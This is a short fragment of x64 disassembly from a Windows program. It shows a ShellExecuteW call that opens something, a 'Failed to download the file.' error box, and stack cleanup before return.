lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x14004e05f
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed_to_download_the_file.
mov rcx, qword [rsp + 0x6c00]
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x14004df8d
lea rcx, [rsp + 0x58]
call fcn.1400075a0
nop
lea rcx, [rsp + 0x6728]
call fcn.140007580
add rsp, 0x6bf0
pop rdi
ret